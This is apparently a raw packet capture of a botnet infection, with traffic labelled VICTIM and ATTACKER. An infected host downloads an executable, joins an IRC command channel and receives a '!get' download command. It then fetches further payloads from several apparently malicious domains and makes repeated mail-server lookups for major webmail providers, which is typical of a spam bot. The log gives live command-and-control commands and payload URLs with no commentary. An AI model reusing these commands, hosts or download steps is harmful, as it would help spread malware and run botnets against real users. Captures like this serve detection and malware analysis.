VICTIM: GET /x.exe HTTP/1.0User-Agent: Mozilla/4.0Host: 4.245.67.7:2604 VICTIM: NICK umoaxgatUSER x020501 . . :- VICTIM: JOIN &virtu ATTACKER: :u. PRIVMSG umoaxgat :!get http:/goasi.cn/ex/a.php ATTACKER: GET /ex/a.php HTTP/1.0User-Agent: DownloadHost: goasi.cnPragma: no-cache ATTACKER: GET /mega/lgate.php?n=94AEEEDFFCB64848 HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: lometr.plConnection: Keep-Alive ATTACKER: GET /dll/aad.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: goasi.cnConnection: Keep-Alive ATTACKER: GET /dll/em.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: iliketay.cnConnection: Keep-Alive VICTIM: \001\000\000\000Zu\220\026 VICTIM: \025\310\3741\225 ?\031L\213\225\005R\213\005k3\374\220\001\221\320\030l\307'\$\025\310\3741\226 ?\031N\213\226\005^\213\363j/\371\004\005Z\213\220\005\025\310\3741\224 ?\031N\213\230\005^\213\003`)\376\371j4\213\312R\312\241\025\310\3741\227 ?\031N\213\227\005^\213\006`4\357\377wZ\223\220\005Z\025\310\3741\226 ?\031H\213\230\005X\213\374a(\377\tu?\213\221\005\025\310\3741\227 ?\031N\213\227\005^\213\374a(\001\365wZ\265\220\005Z\025\310\3741\235 ?\031H\213\223\005X\213\006hZ\215\220\025\310\3741\246 ?\031C\213\227\005I\213\007l4\001\365wZ\220\220\005Z\214\220\005Z\263\232\005Z\213\220\005Z\213\221\004\027\337\3607\206 ?\031 ATTACKER: GET /met/ge.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: goasi.cnConnection: Keep-Alive ATTACKER: GET /in.cgi?0032 HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: www.upononjob.cnConnection: Keep-Alive ATTACKER: PING :j. ATTACKER: PONG :j. VICTIM: JOIN &virtu VICTIM: \000\002\001\000\000\001\000\000\000\000\000\000\007hotmail\003com\000\000\017\000\001 VICTIM: \000\004\001\000\000\001\000\000\000\000\000\000\005gmail\003com\000\000\017\000\001 VICTIM: \000\006\001\000\000\001\000\000\000\000\000\000\005yahoo\003com\000\000\017\000\001 VICTIM: \000\010\001\000\000\001\000\000\000\000\000\000\003aol\003com\000\000\017\000\001 VICTIM: \000\001\000\000\001\000\000\000\000\000\000\003web\002de\000\000\017\000\001 VICTIM: \311~\000\000\001\000\000\000t\000\000\000\000\000\000\000\000\000\000\000\005\001(\002\000\000\000\000\000\000\000 VICTIM: \311~\000\000\001\000\000\000t\000\000\000\270\000\000\000\000\000\000\000\005\001(\002\000\000\000\000\000\000\000 VICTIM: \311~\000\000\001\000\000\000t\000\000\000\270\000\000\000\000\000\000\000\005\001(\002\000\000\000\000\000\000\000 VICTIM: \000\014\001\000\000\001\000\000\000\000\000\000\003web\002de\000\000\017\000\001 VICTIM: \000\016\001\000\000\001\000\000\000\000\000\000\007hotmail\003com\000\000\017\000\001 VICTIM: \000\020\001\000\000\001\000\000\000\000\000\000\005gmail\003com\000\000\017\000\001 VICTIM: \000\022\001\000\000\001\000\000\000\000\000\000\005yahoo\003com\000\000\017\000\001 VICTIM: \000\024\001\000\000\001\000\000\000\000\000\000\003aol\003com\000\000\017\000\001 VICTIM: \000\026\001\000\000\001\000\000\000\000\000\000\005gmail\003com\000\000\017\000\001 VICTIM: \000\030\001\000\000\001\000\000\000\000\000\000\003web\002de\000\000\017\000\001 VICTIM: \000\032\001\000\000\001\000\000\000\000\000\000\007hotmail\003com\000\000\017\000\001 VICTIM: \000\034\001\000\000\001\000\000\000\000\000\000\007hotmail\003com\000\000\017\000\001 VICTIM: \000\036\001\000\000\001\000\000\000\000\000\000\005gmail\003com\000\000\017\000\001 VICTIM: \000 \001\000\000\001\000\000\000\000\000\000\005yahoo\003com\000\000\017\000\001 VICTIM: \000\\001\000\000\001\000\000\000\000\000\000\003web\002de\000\000\017\000\001